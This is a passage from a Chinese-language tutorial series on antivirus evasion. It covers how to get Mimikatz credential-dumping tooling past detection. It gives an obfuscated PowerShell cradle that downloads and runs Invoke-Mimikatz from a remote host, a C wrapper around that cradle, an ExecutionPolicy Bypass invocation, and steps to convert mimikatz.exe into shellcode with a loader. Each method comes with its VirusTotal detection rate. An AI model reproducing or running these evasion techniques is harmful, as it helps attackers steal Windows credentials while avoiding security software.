打开杀软发现静态查杀都过不了,其实这个也正常,Invoke-ReflectivePEInjection这个知名度太高了。
如果保错PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)
说明使用32位的powershell才行%windir%SysWOW64WindowsPowerShell1.0powershell.exe -ExecutionPolicy Bypass -File payload.ps1
virustotal.com上payload.ps1文件查杀率为15/58。
方法6-C程序中执行powershell(VT查杀率7/71)
这个执行方式也是比较简单,在C代码里执行powershell。
先借用Invoke-Mimikatz.ps1
powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz使用c语言的system函数去执行powershell。
#include<stdio.h> #include<stdlib.h> int main(){ system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz"); return 0; }
编译为exe文件,达到免杀的目的。但在运行该exe时,会触发360报警。
virustotal.com上Project1.exe文件查杀率为7/71。
方法7-使用加载器pe_to_shellcode(VT查杀率47/70)
下载https://github.com/hasherezade/pe_to_shellcode
将mimikatz.exe转化为shellcodepe2shc.exe mimikatz.exe mimi.txt
加载runshc64.exe mimi.txt
virustotal.com上mimi.txt文件查杀率为47/70,额,看来这个已经被列入黑名单了。
方法8-c#加载shellcode(VT查杀率21/57)
参考远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58)https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA
先使用上面介绍的pe_to_shellcode方法,把mimikatz.exe转换为mimi.txt